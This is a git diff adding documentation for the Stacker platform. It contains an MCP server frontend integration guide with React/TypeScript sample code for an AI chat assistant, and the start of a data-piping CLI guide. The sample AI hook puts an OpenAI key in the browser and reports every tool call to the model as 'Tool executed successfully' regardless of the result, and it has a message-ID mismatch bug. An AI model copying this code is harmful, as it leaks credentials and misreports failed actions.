+3. **Week 5-6**: Advanced features (validation, suggestions) +4. **Week 7-8**: Security hardening + production readiness +5. **Week 9**: Testing + documentation +6. **Week 10**: Beta release with frontend integration + +--- + +## Questions & Decisions + +### Open Questions +1. **Session persistence**: Store in PostgreSQL or Redis? + - **Recommendation**: Redis for ephemeral session data + +2. **Tool versioning**: How to handle breaking changes? + - **Recommendation**: Version in tool name (`create_project_v1`) + +3. **Error recovery**: Retry failed tool calls? + - **Recommendation**: Let AI/client decide on retry + +### Technical Decisions +- ✅ Use tokio-tungstenite for WebSocket +- ✅ JSON-RPC 2.0 over WebSocket (not HTTP SSE) +- ✅ Reuse existing auth middleware +- ✅ Store sessions in memory (move to Redis later) +- ✅ Rate limit at WebSocket level (not per-tool) + +--- + +## Contact & Resources + +**References:** +- MCP Specification: https://spec.modelcontextprotocol.io/ +- Example Rust MCP Server: https://github.com/modelcontextprotocol/servers +- Actix WebSocket: https://actix.rs/docs/websockets/ + +**Team Contacts:** +- Backend Lead: [Your Name] +- Frontend Integration: [Frontend Lead] +- DevOps: [DevOps Contact] diff --git a/stacker/stacker/docs/MCP_SERVER_FRONTEND_INTEGRATION.md b/stacker/stacker/docs/MCP_SERVER_FRONTEND_INTEGRATION.md new file mode 100644 index 0000000..2cbdcb5 --- /dev/null +++ b/stacker/stacker/docs/MCP_SERVER_FRONTEND_INTEGRATION.md @@ -0,0 +1,1450 @@ +# MCP Server Frontend Integration Guide + +## Overview +This document provides comprehensive guidance for integrating the Stacker MCP (Model Context Protocol) server with the ReactJS Stack Builder frontend. The integration enables an AI-powered chat assistant that helps users build and deploy application stacks through natural language interactions. + +## Architecture Overview + +``` +┌──────────────────────────────────────────────────────────────┐ +│ React Frontend (Stack Builder UI) │ +│ │ +│ ┌────────────────┐ ┌──────────────────────────┐ │ +│ │ Project Form │◄────────┤ AI Chat Assistant │ │ +│ │ - Name │ fills │ - Chat Messages │ │ +│ │ - Services │◄────────┤ - Input Box │ │ +│ │ - Resources │ │ - Context Display │ │ +│ │ - Domains │ │ - Suggestions │ │ +│ └────────────────┘ └──────────────────────────┘ │ +│ │ │ │ +│ │ │ │ +│ └──────────┬───────────────────┘ │ +│ │ │ +│ ┌───────▼───────┐ │ +│ │ MCP Client │ │ +│ │ (WebSocket) │ │ +│ └───────────────┘ │ +│ │ │ +└────────────────────┼─────────────────────────────────────────┘ + │ WebSocket (JSON-RPC 2.0) + ▼ +┌──────────────────────────────────────────────────────────────┐ +│ Stacker Backend (MCP Server) │ +│ - Tool Registry (85+ tools) │ +│ - Session Management │ +│ - OAuth Authentication │ +└──────────────────────────────────────────────────────────────┘ +``` + +## Current v0.2.8 Tool Coverage + +The MCP server now exposes project/deployment, cloud credential discovery, +container operations, Status Panel agent control, proxy configuration, guest OS +firewall tools, Vault config tools, and remote service secret tools. The remote +secret tools mirror the CLI/API target model: + +- `list_remote_secret_targets` — list deployable service/app target codes for a + project. +- `list_remote_service_secrets` — list metadata for Vault-backed service-scope + secrets on one target. +- `get_remote_service_secret` — read metadata for one service secret. +- `set_remote_service_secret` — write one service secret value to Vault. +- `delete_remote_service_secret` — delete one service secret. + +Remote secret reads are metadata-only; plaintext values are written to Vault but +never returned to MCP clients. + +`get_remote_service_secret` and `list_remote_service_secrets` now include +`secure: true` in their metadata payloads because Vault-backed service secrets +are explicitly classified as secure inputs, not merely inferred by name. + +Every MCP tool call is checked against Casbin before its handler executes. Clients +must have a `CALL` policy for `/mcp/tools/`. Marketplace admin tools +are granted only to `group_admin`; regular project, deployment, cloud, +container, proxy, firewall, Vault, and remote-secret tools use the normal user +group policies plus their existing project/ownership checks. + +`set_remote_service_secret` and `delete_remote_service_secret` are sensitive +write operations. They also require: + +- Casbin permission for `/mcp/tools/set_remote_service_secret` or + `/mcp/tools/delete_remote_service_secret` with action `CALL`. +- A verified 2FA/MFA marker from the authenticated user profile or access token + (`mfa_verified`, `two_factor_verified`, `amr` containing `totp`, `otp`, + `webauthn`, etc.). + +## Canonical deployment AI workflow + +For deployment troubleshooting and safe automation, frontend clients should +prefer the newer structured deployment tools over older summary payloads: + +- `get_deployment_state` for canonical deployment state. +- `explain_topology` and `explain_env` for path and env provenance reasoning. +- `get_deployment_plan` for preview plus stale-plan fingerprint generation. +- `apply_deployment_plan` for confirmed deploy-app and rollback execution. +- `get_deployment_events` for progress, failure, and remediation signals. + +### Compatibility and safety rules + +1. Do not depend on `get_deployment_status` returning the raw internal + deployment row. Use `get_deployment_state`, `get_deployment_plan`, and + `get_deployment_events` when the client needs stable machine-readable fields. +2. Add `apply_deployment_plan` to the frontend confirmation-required tool list. + The tool requires: + - `confirm=true` + - `expected_fingerprint` from the immediately preceding preview + - a step-up/MFA-capable user session +3. MCP tool failures are returned as successful JSON-RPC envelopes with + `result.isError=true` and a typed error JSON string in + `result.content[0].text`. Frontends should parse and surface that typed error + envelope instead of collapsing it into generic text. +4. Server-side MCP intentionally supports `deploy_app` and `rollback_deploy` + applies only. Full `deploy` apply still requires local CLI workspace context + and is rejected with a typed `invalid_request` error. + +See [AI deployment workflows](AI_DEPLOYMENT_WORKFLOWS.md) for the documented +tool sequence and evaluation fixture reference. + +## Environment inspection contract + +`get_app_env_vars` now returns two complementary shapes: + +- `environment_variables` — the legacy redacted key/value object for existing + clients. +- `environment_entries` — the canonical per-variable list for newer clients. + +Each `environment_entries` item contains: + +- `name` +- `value` +- `secure` +- `redacted` +- `source` (`project` or `vault`) + +Frontend clients should prefer `environment_entries` when they need to +distinguish between: + +- a value redacted because it is explicitly Vault-backed (`secure=true`) +- a value redacted by legacy heuristic name matching +- a regular project-defined env value + +This allows names such as `MYSECURE_PASSPHRASE` to remain safely redacted even +when the key name itself would not match an older secret heuristic. + +## Technology Stack + +### Core Dependencies + +```json +{ + "dependencies": { + "@modelcontextprotocol/sdk": "^0.5.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "zustand": "^4.4.0", + "@tanstack/react-query": "^5.0.0", + "ws": "^8.16.0" + }, + "devDependencies": { + "@types/react": "^18.2.0", + "@types/ws": "^8.5.0", + "typescript": "^5.0.0" + } +} +``` + +### TypeScript Configuration + +```json +{ + "compilerOptions": { + "target": "ES2020", + "lib": ["ES2020", "DOM", "DOM.Iterable"], + "jsx": "react-jsx", + "module": "ESNext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "allowJs": true, + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true + } +} +``` + +--- + +## Phase 1: MCP Client Setup (Week 1) + +### 1.1 WebSocket Client + +```typescript +// src/lib/mcp/client.ts +import { Client } from '@modelcontextprotocol/sdk/client/index.js'; +import { WebSocketClientTransport } from '@modelcontextprotocol/sdk/client/websocket.js'; + +export interface McpClientConfig { + url: string; + authToken: string; +} + +export class StackerMcpClient { + private client: Client | null = null; + private transport: WebSocketClientTransport | null = null; + private config: McpClientConfig; + + constructor(config: McpClientConfig) { + this.config = config; + } + + async connect(): Promise { + // Create WebSocket transport with auth headers + this.transport = new WebSocketClientTransport( + new URL(this.config.url), + { + headers: { + 'Authorization': `Bearer ${this.config.authToken}` + } + } + ); + + // Initialize MCP client + this.client = new Client( + { + name: 'stacker-ui', + version: '1.0.0', + }, + { + capabilities: { + tools: {} + } + } + ); + + // Connect to server + await this.client.connect(this.transport); + + console.log('MCP client connected'); + } + + async disconnect(): Promise { + if (this.client) { + await this.client.close(); + this.client = null; + } + if (this.transport) { + await this.transport.close(); + this.transport = null; + } + } + + async listTools(): Promise> { + if (!this.client) { + throw new Error('MCP client not connected'); + } + + const response = await this.client.listTools(); + return response.tools; + } + + async callTool( + name: string, + args: Record + ): Promise<{ + content: Array<{ type: string; text?: string; data?: string }>; + isError?: boolean; + }> { + if (!this.client) { + throw new Error('MCP client not connected'); + } + + const response = await this.client.callTool({ + name, + arguments: args + }); + + return response; + } + + isConnected(): boolean { + return this.client !== null; + } +} +``` + +### 1.2 MCP Context Provider + +```typescript +// src/contexts/McpContext.tsx +import React, { createContext, useContext, useEffect, useState } from 'react'; +import { StackerMcpClient } from '@/lib/mcp/client'; +import { useAuth } from '@/hooks/useAuth'; + +interface McpContextValue { + client: StackerMcpClient | null; + isConnected: boolean; + error: string | null; + reconnect: () => Promise; +} + +const McpContext = createContext(undefined); + +export const McpProvider: React.FC<{ children: React.ReactNode }> = ({ children }) => { + const { token } = useAuth(); + const [client, setClient] = useState(null); + const [isConnected, setIsConnected] = useState(false); + const [error, setError] = useState(null); + + const connect = async () => { + if (!token) { + setError('Authentication required'); + return; + } + + try { + const mcpClient = new StackerMcpClient({ + url: process.env.REACT_APP_MCP_URL || 'ws://localhost:8000/mcp', + authToken: token + }); + + await mcpClient.connect(); + setClient(mcpClient); + setIsConnected(true); + setError(null); + } catch (err) { + setError(err instanceof Error ? err.message : 'Connection failed'); + setIsConnected(false); + } + }; + + const reconnect = async () => { + if (client) { + await client.disconnect(); + } + await connect(); + }; + + useEffect(() => { + connect(); + + return () => { + if (client) { + client.disconnect(); + } + }; + }, [token]); + + return ( + + {children} + + ); +}; + +export const useMcp = () => { + const context = useContext(McpContext); + if (!context) { + throw new Error('useMcp must be used within McpProvider'); + } + return context; +}; +``` + +### 1.3 Connection Setup in App + +```typescript +// src/App.tsx +import { McpProvider } from '@/contexts/McpContext'; +import { AuthProvider } from '@/contexts/AuthContext'; +import { QueryClient, QueryClientProvider } from '@tanstack/react-query'; + +const queryClient = new QueryClient(); + +function App() { + return ( + + + + + + + + ); +} + +export default App; +``` + +--- + +## Phase 2: Chat Interface Components (Week 2) + +### 2.1 Chat Message Types + +```typescript +// src/types/chat.ts +export interface ChatMessage { + id: string; + role: 'user' | 'assistant' | 'system'; + content: string; + timestamp: Date; + toolCalls?: ToolCall[]; + metadata?: { + projectId?: number; + step?: number; + suggestions?: string[]; + }; +} + +export interface ToolCall { + id: string; + toolName: string; + arguments: Record; + result?: { + success: boolean; + data?: any; + error?: string; + }; + status: 'pending' | 'completed' | 'failed'; +} + +export interface ChatContext { + currentProject?: { + id?: number; + name?: string; + apps?: any[]; + step?: number; + }; + lastAction?: string; + availableTools?: string[]; +} +``` + +### 2.2 Chat Store (Zustand) + +```typescript +// src/stores/chatStore.ts +import { create } from 'zustand'; +import { ChatMessage, ChatContext } from '@/types/chat'; + +interface ChatStore { + messages: ChatMessage[]; + context: ChatContext; + isProcessing: boolean; + + addMessage: (message: Omit) => void; + updateMessage: (id: string, updates: Partial) => void; + clearMessages: () => void; + setContext: (context: Partial) => void; + setProcessing: (processing: boolean) => void; +} + +export const useChatStore = create((set) => ({ + messages: [], + context: {}, + isProcessing: false, + + addMessage: (message) => + set((state) => ({ + messages: [ + ...state.messages, + { + ...message, + id: crypto.randomUUID(), + timestamp: new Date(), + }, + ], + })), + + updateMessage: (id, updates) => + set((state) => ({ + messages: state.messages.map((msg) => + msg.id === id ? { ...msg, ...updates } : msg + ), + })), + + clearMessages: () => set({ messages: [], context: {} }), + + setContext: (context) => + set((state) => ({ + context: { ...state.context, ...context }, + })), + + setProcessing: (processing) => set({ isProcessing: processing }), +})); +``` + +### 2.3 Chat Sidebar Component + +```tsx +// src/components/chat/ChatSidebar.tsx +import React, { useRef, useEffect } from 'react'; +import { useChatStore } from '@/stores/chatStore'; +import { ChatMessage } from './ChatMessage'; +import { ChatInput } from './ChatInput'; +import { ChatHeader } from './ChatHeader'; + +export const ChatSidebar: React.FC = () => { + const messages = useChatStore((state) => state.messages); + const messagesEndRef = useRef(null); + + useEffect(() => { + messagesEndRef.current?.scrollIntoView({ behavior: 'smooth' }); + }, [messages]); + + return ( +

+ + +
+ {messages.length === 0 ? ( +
+ + + +

Ask me anything!

+

+ I can help you create projects, suggest configurations,
+ and deploy your applications to the cloud. +

+
+ ) : ( + messages.map((message) => ( + + )) + )} +
+
+ + +
+ ); +}; +``` + +### 2.4 Chat Message Component + +```tsx +// src/components/chat/ChatMessage.tsx +import React from 'react'; +import { ChatMessage as ChatMessageType } from '@/types/chat'; +import { ToolCallDisplay } from './ToolCallDisplay'; +import ReactMarkdown from 'react-markdown'; + +interface Props { + message: ChatMessageType; +} + +export const ChatMessage: React.FC = ({ message }) => { + const isUser = message.role === 'user'; + + return ( +
+
+ {!isUser && ( +
+ + + + AI Assistant +
+ )} + +
+ {message.content} +
+ + {message.toolCalls && message.toolCalls.length > 0 && ( +
+ {message.toolCalls.map((toolCall) => ( + + ))} +
+ )} + +
+ {message.timestamp.toLocaleTimeString()} +
+
+
+ ); +}; +``` + +### 2.5 Chat Input Component + +```tsx +// src/components/chat/ChatInput.tsx +import React, { useState } from 'react'; +import { useChatStore } from '@/stores/chatStore'; +import { useAiAssistant } from '@/hooks/useAiAssistant'; + +export const ChatInput: React.FC = () => { + const [input, setInput] = useState(''); + const isProcessing = useChatStore((state) => state.isProcessing); + const { sendMessage } = useAiAssistant(); + + const handleSubmit = async (e: React.FormEvent) => { + e.preventDefault(); + if (!input.trim() || isProcessing) return; + + await sendMessage(input); + setInput(''); + }; + + return ( +
+
+ setInput(e.target.value)} + placeholder="Ask me to create a project, suggest resources..." + disabled={isProcessing} + className="flex-1 rounded-lg border border-gray-300 px-4 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500 disabled:bg-gray-100" + /> + +
+ +
+ + + +
+
+ ); +}; + +const QuickAction: React.FC<{ action: string }> = ({ action }) => { + const { sendMessage } = useAiAssistant(); + + return ( + + ); +}; +``` + +--- + +## Phase 3: AI Assistant Hook (Week 3) + +### 3.1 AI Assistant Logic + +```typescript +// src/hooks/useAiAssistant.ts +import { useMcp } from '@/contexts/McpContext'; +import { useChatStore } from '@/stores/chatStore'; +import { OpenAI } from 'openai'; + +const openai = new OpenAI({ + apiKey: process.env.REACT_APP_OPENAI_API_KEY, + dangerouslyAllowBrowser: true // Only for demo; use backend proxy in production +}); + +export const useAiAssistant = () => { + const { client } = useMcp(); + const addMessage = useChatStore((state) => state.addMessage); + const updateMessage = useChatStore((state) => state.updateMessage); + const setProcessing = useChatStore((state) => state.setProcessing); + const context = useChatStore((state) => state.context); + const messages = useChatStore((state) => state.messages); + + const sendMessage = async (userMessage: string) => { + if (!client?.isConnected()) { + addMessage({ + role: 'system', + content: 'MCP connection lost. Please refresh the page.', + }); + return; + } + + // Add user message + addMessage({ + role: 'user', + content: userMessage, + }); + + setProcessing(true); + + try { + // Get available tools from MCP server + const tools = await client.listTools(); + + // Convert MCP tools to OpenAI function format + const openaiTools = tools.map((tool) => ({ + type: 'function' as const, + function: { + name: tool.name, + description: tool.description, + parameters: tool.inputSchema, + }, + })); + + // Build conversation history for OpenAI + const conversationMessages = [ + { + role: 'system' as const, + content: buildSystemPrompt(context), + }, + ...messages.slice(-10).map((msg) => ({ + role: msg.role as 'user' | 'assistant', + content: msg.content, + })), + { + role: 'user' as const, + content: userMessage, + }, + ]; + + // Call OpenAI with tools + const response = await openai.chat.completions.create({ + model: 'gpt-4-turbo-preview', + messages: conversationMessages, + tools: openaiTools, + tool_choice: 'auto', + }); + + const assistantMessage = response.choices[0].message; + + // Handle tool calls + if (assistantMessage.tool_calls) { + const messageId = crypto.randomUUID(); + + addMessage({ + role: 'assistant', + content: 'Let me help you with that...', + toolCalls: assistantMessage.tool_calls.map((tc) => ({ + id: tc.id, + toolName: tc.function.name, + arguments: JSON.parse(tc.function.arguments), + status: 'pending' as const, + })), + }); + + // Execute tools via MCP + for (const toolCall of assistantMessage.tool_calls) { + try { + const result = await client.callTool( + toolCall.function.name, + JSON.parse(toolCall.function.arguments) + ); + + updateMessage(messageId, { + toolCalls: assistantMessage.tool_calls.map((tc) => + tc.id === toolCall.id + ? { + id: tc.id, + toolName: tc.function.name, + arguments: JSON.parse(tc.function.arguments), + result: { + success: !result.isError, + data: result.content[0].text, + }, + status: 'completed' as const, + } + : tc + ), + }); + + // Parse result and update context + if (toolCall.function.name === 'create_project' && result.content[0].text) { + const project = JSON.parse(result.content[0].text); + useChatStore.getState().setContext({ + currentProject: { + id: project.id, + name: project.name, + apps: project.apps, + }, + }); + } + } catch (error) { + updateMessage(messageId, { + toolCalls: assistantMessage.tool_calls.map((tc) => + tc.id === toolCall.id + ? { + id: tc.id, + toolName: tc.function.name, + arguments: JSON.parse(tc.function.arguments), + result: { + success: false, + error: error instanceof Error ? error.message : 'Unknown error', + }, + status: 'failed' as const, + } + : tc + ), + }); + } + } + + // Get final response after tool execution + const finalResponse = await openai.chat.completions.create({ + model: 'gpt-4-turbo-preview', + messages: [ + ...conversationMessages, + assistantMessage, + ...assistantMessage.tool_calls.map((tc) => ({ + role: 'tool' as const, + tool_call_id: tc.id, + content: 'Tool executed successfully', + })), + ], + }); + + addMessage({ + role: 'assistant', + content: finalResponse.choices[0].message.content || 'Done!', + }); + } else { + // No tool calls, just add assistant response + addMessage({ + role: 'assistant', + content: assistantMessage.content || 'I understand. How can I help further?', + }); + } + } catch (error) { + addMessage({ + role: 'system', + content: `Error: ${error instanceof Error ? error.message : 'Unknown error'}`, + }); + } finally { + setProcessing(false); + } + }; + + return { sendMessage }; +}; + +function buildSystemPrompt(context: any): string { + return `You are an AI assistant for the Stacker platform, helping users build and deploy Docker-based application stacks. + +Current context: +${context.currentProject ? `- Working on project: "${context.currentProject.name}" (ID: ${context.currentProject.id})` : '- No active project'} +${context.lastAction ? `- Last action: ${context.lastAction}` : ''} + +You can help users with: +1. Creating new projects with multiple services +2. Suggesting appropriate resource limits (CPU, RAM, storage) +3. Listing available templates (WordPress, Node.js, Django, etc.) +4. Deploying projects to cloud providers +5. Managing cloud credentials +6. Validating domains and ports + +Always be helpful, concise, and guide users through multi-step processes one step at a time. +When creating projects, ask for all necessary details before calling the create_project tool.`; +} +``` + +--- + +## Phase 4: Form Integration (Week 4) + +### 4.1 Enhanced Project Form with AI + +```tsx +// src/components/project/ProjectFormWithAI.tsx +import React, { useState } from 'react'; +import { useChatStore } from '@/stores/chatStore'; +import { ChatSidebar } from '@/components/chat/ChatSidebar'; +import { ProjectForm } from '@/components/project/ProjectForm'; + +export const ProjectFormWithAI: React.FC = () => { + const [showChat, setShowChat] = useState(true); + const context = useChatStore((state) => state.context); + + // Auto-fill form from AI context + const formData = context.currentProject || { + name: '', + apps: [], + }; + + return ( +
+ {/* Main Form Area */} +
+
+
+

Create New Project

+ +
+ + +
+
+ + {/* Chat Sidebar */} + {showChat && ( +
+ +
+ )} +
+ ); +}; +``` + +### 4.2 Progressive Form Steps + +```tsx +// src/components/project/ProgressiveProjectForm.tsx +import React, { useState } from 'react'; +import { useAiAssistant } from '@/hooks/useAiAssistant'; +import { useChatStore } from '@/stores/chatStore'; + +const STEPS = [ + { id: 1, name: 'Basic Info', description: 'Project name and description' }, + { id: 2, name: 'Services', description: 'Add applications and Docker images' }, + { id: 3, name: 'Resources', description: 'Configure CPU, RAM, and storage' }, + { id: 4, name: 'Networking', description: 'Set up domains and ports' }, + { id: 5, name: 'Review', description: 'Review and deploy' }, +]; + +export const ProgressiveProjectForm: React.FC = () => { + const [currentStep, setCurrentStep] = useState(1); + const context = useChatStore((state) => state.context); + const { sendMessage } = useAiAssistant(); + + const project = context.currentProject || { + name: '', + description: '', + apps: [], + }; + + const handleAiSuggestion = (prompt: string) => { + sendMessage(prompt); + }; + + return ( +
+ {/* Progress Stepper */} +
+
+ {STEPS.map((step, index) => ( +
+
+
+ {step.id < currentStep ? '✓' : step.id} +
+
{step.name}
+
{step.description}
+
+
+ ))} +
+
+ + {/* AI Suggestions */} +
+
+ + + +
+

+ AI Suggestion for Step {currentStep}: +

+ {currentStep === 1 && ( + + )} + {currentStep === 2 && ( + + )} + {currentStep === 3 && ( + + )} +
+
+
+ + {/* Step Content */} +
+ {currentStep === 1 && } + {currentStep === 2 && } + {currentStep === 3 && } + {currentStep === 4 && } + {currentStep === 5 && } +
+ + {/* Navigation */} +
+ + +
+
+ ); +}; +``` + +--- + +## Phase 5: Testing & Optimization (Week 5) + +### 5.1 Unit Tests + +```typescript +// src/lib/mcp/__tests__/client.test.ts +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { StackerMcpClient } from '../client'; + +describe('StackerMcpClient', () => { + let client: StackerMcpClient; + + beforeEach(() => { + client = new StackerMcpClient({ + url: 'ws://localhost:8000/mcp', + authToken: 'test-token', + }); + }); + + afterEach(async () => { + if (client.isConnected()) { + await client.disconnect(); + } + }); + + it('should connect successfully', async () => { + await client.connect(); + expect(client.isConnected()).toBe(true); + }); + + it('should list available tools', async () => { + await client.connect(); + const tools = await client.listTools(); + + expect(tools).toBeInstanceOf(Array); + expect(tools.length).toBeGreaterThan(0); + expect(tools[0]).toHaveProperty('name'); + expect(tools[0]).toHaveProperty('description'); + }); + + it('should call create_project tool', async () => { + await client.connect(); + + const result = await client.callTool('create_project', { + name: 'Test Project', + apps: [ + { + name: 'web', + dockerImage: { repository: 'nginx' }, + }, + ], + }); + + expect(result.content).toBeInstanceOf(Array); + expect(result.isError).toBeFalsy(); + }); +}); +``` + +### 5.2 Integration Tests + +```typescript +// src/components/chat/__tests__/ChatSidebar.integration.test.tsx +import { render, screen, waitFor } from '@testing-library/react'; +import userEvent from '@testing-library/user-event'; +import { ChatSidebar } from '../ChatSidebar'; +import { McpProvider } from '@/contexts/McpContext'; + +describe('ChatSidebar Integration', () => { + it('should send message and receive response', async () => { + render( + + + + ); + + const input = screen.getByPlaceholderText(/ask me to create/i); + const sendButton = screen.getByRole('button', { name: /send/i }); + + await userEvent.type(input, 'Create a WordPress project'); + await userEvent.click(sendButton); + + await waitFor(() => { + expect(screen.getByText('Create a WordPress project')).toBeInTheDocument(); + }); + + await waitFor(() => { + expect(screen.getByText(/let me help/i)).toBeInTheDocument(); + }, { timeout: 5000 }); + }); +}); +``` + +### 5.3 Performance Optimization + +```typescript +// src/lib/mcp/optimizations.ts + +// 1. Debounce AI calls to prevent spam +import { useMemo } from 'react'; +import debounce from 'lodash/debounce'; + +export const useDebouncedAi = () => { + const { sendMessage } = useAiAssistant(); + + const debouncedSend = useMemo( + () => debounce(sendMessage, 500), + [sendMessage] + ); + + return { sendMessage: debouncedSend }; +}; + +// 2. Cache tool list +export const useToolsCache = () => { + const { client } = useMcp(); + const { data: tools, isLoading } = useQuery({ + queryKey: ['mcp-tools'], + queryFn: () => client?.listTools(), + staleTime: 5 * 60 * 1000, // 5 minutes + enabled: !!client?.isConnected(), + }); + + return { tools, isLoading }; +}; + +// 3. Lazy load chat component +import { lazy, Suspense } from 'react'; + +const ChatSidebar = lazy(() => import('@/components/chat/ChatSidebar')); + +export const LazyChat = () => ( + }> + + +); +``` + +--- + +## Environment Configuration + +### Production Setup + +```bash +# .env.production +REACT_APP_MCP_URL=wss://api.try.direct/mcp +REACT_APP_API_URL=https://api.try.direct +REACT_APP_OPENAI_API_KEY=your_openai_key_here +``` + +### Development Setup + +```bash +# .env.development +REACT_APP_MCP_URL=ws://localhost:8000/mcp +REACT_APP_API_URL=http://localhost:8000 +REACT_APP_OPENAI_API_KEY=your_openai_key_here +``` + +--- + +## Error Handling Best Practices + +```typescript +// src/lib/mcp/errorHandler.ts + +export class McpError extends Error { + constructor( + message: string, + public code: string, + public recoverable: boolean = true + ) { + super(message); + this.name = 'McpError'; + } +} + +export const handleMcpError = (error: unknown): McpError => { + if (error instanceof McpError) { + return error; + } + + if (error instanceof Error) { + if (error.message.includes('WebSocket')) { + return new McpError( + 'Connection lost. Please refresh the page.', + 'CONNECTION_LOST', + true + ); + } + + if (error.message.includes('auth')) { + return new McpError( + 'Authentication failed. Please log in again.', + 'AUTH_FAILED', + false + ); + } + } + + return new McpError( + 'An unexpected error occurred.', + 'UNKNOWN_ERROR', + true + ); +}; +``` + +--- + +## Deployment Checklist + +### Pre-Launch +- [ ] All MCP tools tested and working +- [ ] WebSocket connection stable for extended periods +- [ ] Error handling covers all edge cases +- [ ] Loading states implemented for all async operations +- [ ] Mobile responsive design verified +- [ ] Authentication integrated with existing OAuth +- [ ] Rate limiting enforced on frontend +- [ ] CORS configured for production domain + +### Production +- [ ] Environment variables set correctly +- [ ] HTTPS/WSS enabled for secure connections +- [ ] CDN configured for static assets +- [ ] Analytics tracking added +- [ ] Error logging (Sentry, LogRocket) +- [ ] Performance monitoring +- [ ] User feedback mechanism + +--- + +## User Flows & Examples + +### Example 1: Create WordPress Site + +**User**: "Create a WordPress site" + +**AI Response**: "I'll help you create a WordPress site. Let me ask a few questions: +1. What would you like to name your project? +2. Do you need a database (MySQL)? +3. Expected traffic level (low/medium/high)?" + +**User**: "Call it 'My Blog', yes I need MySQL, low traffic" + +**AI**: *Calls tools:* +``` +suggest_resources({ app_type: "wordpress", expected_traffic: "low" }) +suggest_resources({ app_type: "mysql", expected_traffic: "low" }) +create_project({ + name: "My Blog", + apps: [ + { name: "wordpress", dockerImage: { repository: "wordpress" }, resources: { cpu: 1, ram: 2, storage: 20 } }, + { name: "mysql", dockerImage: { repository: "mysql" }, resources: { cpu: 2, ram: 4, storage: 50 } } + ] +}) +``` + +**AI Response**: "✓ Created project 'My Blog' with WordPress and MySQL! Resource suggestions: +- WordPress: 1 CPU, 2GB RAM, 20GB storage +- MySQL: 2 CPU, 4GB RAM, 50GB storage + +Would you like to deploy this now?" + +### Example 2: List Projects + +**User**: "Show my projects" + +**AI**: *Calls `list_projects()`* + +**AI Response**: "You have 3 projects: +1. My Blog (WordPress + MySQL) - Created Dec 27 +2. API Server (Node.js) - Created Dec 26 +3. E-commerce (Next.js + PostgreSQL) - Created Dec 25 + +Which one would you like to work on?" + +--- + +## Troubleshooting Guide + +### Common Issues + +#### 1. WebSocket Connection Fails +```typescript +// Check: Is MCP server running? +// Check: Is auth token valid? +// Check: CORS headers configured? + +// Solution: +console.log('MCP URL:', process.env.REACT_APP_MCP_URL); +console.log('Auth token:', token ? 'Present' : 'Missing'); +``` + +#### 2. Tool Calls Timeout +```typescript +// Increase timeout in client +const result = await client.callTool(name, args, { timeout: 30000 }); +``` + +#### 3. Context Not Persisting +```typescript +// Check: Is Zustand store properly configured? +// Ensure setContext is called after tool execution +useChatStore.getState().setContext({ currentProject: project }); +``` + +--- + +## Future Enhancements + +### Phase 2 Features +- **Voice Input**: Add speech-to-text for hands-free interaction +- **Template Marketplace**: Browse and install community templates +- **Multi-language Support**: Internationalization for non-English users +- **Collaborative Editing**: Multiple users working on same project +- **Version Control**: Git integration for project configurations +- **Cost Estimation**: Show estimated monthly costs for deployments + +### Advanced AI Features +- **Proactive Suggestions**: AI monitors form and suggests improvements +- **Error Prevention**: Validate before deployment and warn about issues +- **Learning Mode**: AI learns from user preferences over time +- **Guided Tutorials**: Step-by-step walkthroughs for beginners + +--- + +## Performance Targets + +- **Initial Load**: < 2 seconds +- **Chat Message Latency**: < 500ms +- **Tool Execution**: < 3 seconds (p95) +- **WebSocket Reconnect**: < 5 seconds +- **Memory Usage**: < 50MB per tab + +--- + +## Security Considerations + +1. **Token Security**: Never expose OpenAI API key in frontend; use backend proxy +2. **Input Sanitization**: Validate all user inputs before sending to AI +3. **Rate Limiting**: Implement frontend rate limiting to prevent abuse +4. **XSS Prevention**: Sanitize AI responses before rendering as HTML +5. **CSP Headers**: Configure Content Security Policy for production + +--- + +## Team Coordination + +### Frontend Team Responsibilities +- Implement React components +- Design chat UI/UX +- Handle state management +- Write unit/integration tests + +### Backend Team Responsibilities +- Ensure MCP server is production-ready +- Provide WebSocket endpoint +- Maintain tool schemas +- Monitor performance + +### Shared Responsibilities +- Define tool contracts (JSON schemas) +- End-to-end testing +- Documentation +- Deployment coordination + +--- + +## Resources & Links + +- **MCP SDK Docs**: https://github.com/modelcontextprotocol/sdk +- **OpenAI API**: https://platform.openai.com/docs +- **WebSocket API**: https://developer.mozilla.org/en-US/docs/Web/API/WebSocket +- **React Query**: https://tanstack.com/query/latest +- **Zustand**: https://github.com/pmndrs/zustand + +--- + +## Contact + +**Frontend Lead**: [Your Name] +**Questions**: Open GitHub issue or Slack #stacker-ai channel diff --git a/stacker/stacker/docs/PIPING.md b/stacker/stacker/docs/PIPING.md new file mode 100644 index 0000000..3a735b6 --- /dev/null +++ b/stacker/stacker/docs/PIPING.md @@ -0,0 +1,398 @@ +# Stacker Piping Guide + +Data piping connects containerized apps in a deployment, routing data from one service's API to another with automatic field mapping. + +## Architecture + +``` ++------------------+ +------------------+ +------------------+ +| stacker CLI | | Stacker Server | | Status Agent | +| | | | | (on deployment) | +| pipe scan | ----> | enqueue command | ----> | probe container | +| pipe create | | validate params | | curl endpoints | +| pipe trigger | | store results | | capture samples | +| pipe history | | persist history | | execute pipes | +| pipe deploy | | promote local→ | | | ++------------------+ +------------------+ +------------------+ + | + | (local mode — no agent needed) + v ++------------------+ +| Local Docker | +| docker ps | +| docker exec | ++------------------+ +``` + +**Three components work together:** + +1. **CLI** (`stacker pipe`) - user-facing commands +2. **Server** (`/api/v1/pipes`) - REST API, validation, persistence +3. **Agent** (status-panel) - runs on the deployment, probes app/container endpoints, executes pipe triggers + +> **Local mode**: When `stacker target local` is active, scan starts with Docker discovery (`docker ps` + `docker inspect`) and then probes matched containers for endpoints/resources locally — no remote agent required. Pipes are stored with `is_local=true` and no `deployment_hash`. + +> **Scan semantics**: local scan is **container-first**; remote scan is **app-first** with optional `--container` narrowing. + +## Quick Start + +### 1. Scan for connectable endpoints + +```bash +# Local target: discover endpoints/resources from running containers +stacker pipe scan + +# Filter local containers by name, then probe them +stacker pipe scan --containers wordpress + +# Remote target: probe a deployed app for endpoints +stacker pipe scan --app wordpress --capture-samples + +# Scan specific protocols +stacker pipe scan --app wordpress --protocols openapi,html_forms,rest +``` + +Output: +``` + Containers matched: 1 + local-wordpress-1 [blog] wordpress:latest + addresses: 172.18.0.8:80 + + App: wordpress + Protocols detected: openapi + + [openapi] http://wordpress:80/wp-json + GET /wp/v2/posts -- List 